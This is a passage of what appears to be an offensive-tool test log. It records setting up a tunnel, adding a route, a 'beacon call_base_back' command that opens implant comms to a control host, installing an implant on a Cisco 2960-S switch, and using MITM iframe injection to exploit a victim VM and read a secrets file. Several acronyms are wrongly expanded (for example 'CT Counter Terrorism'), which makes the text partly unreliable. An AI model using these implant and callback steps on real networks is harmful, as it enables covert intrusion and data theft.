       1. From /hg/tools/dualor/linux, run ./Dualor .../configs/dualor-endpoint.ini and note that you get a message that CT Counter Terrorism is listening on port 444
       2. From Aquaman-3h CutThroat, run tun init tools/dualor/config/dualor-callback.ini and note that the SSL Secure Socket Layer session establishes
       3. Note that on ICON-CT VM Virtual Machine you know have a new interface called tap0 with an iP 192.168.0.110
    2. Add a route to ICON-CT for 192.168.21.0/24 to use tap0 interface - route add -net 192.168.21.0/24 dev tap0
    3. Move to Aquaman-5h setup - Edit aquaman-5h.txt Interface value under general settings to tap0, and set CommsH port to 445
    4. Establish HG comms using "beacon call_base_back https 192.168.0.110 445"
    5. Comms successfully established through Aquaman-3h tunnel
    6. Configured mitm rule for SMITE as in tests above and successfully exploited Victim VM Virtual Machine and read secrets.txt from Windex
38. Observation - we have two <body> tags in our HTML Hypertext Markup Language on our web server for google.com. When SMITE injects an iframe, we actually get two iframes inserted, once after each body tag. This does not appear to cause any issues however we do get two session ids in shellterm.
39. Samsonite Test - Reload 2960-S during HG install
    1. Reloaded target 2960-S to start with a clean target device
    2. Attacked with SSHIAC
    3. Set remote interpacket delay to 1s to allow me to time the reload halfway through HG install
    4. Initiated HG install and reloaded the switch at the 50% User #76740
    5. Did not see any unusual syslog messages, switch boots normally
    6. Remote reports "FAILED retry (yes/up/down/fail)? Selected fail and remote gives a Traceback and exits
    7. Re-attack with IAC International Access Code - successful and looks normal
    8. Initiated HG install and allow installation to complete - Installation successful
    9. Established HG comms successfully
    10. Entered debug all just to see what would happen and lost all ability to HG comms with switch, interact on vty or console. Collected a bunch of output and then hard reset. Had to kill CT Counter Terrorism listen window because HG prompt would not return in order to gracefully exit with quit command.
    11. Got a bunch of unusual error messages on the console when the switch came back up. Need to investigate these and see if these messages appear without HG.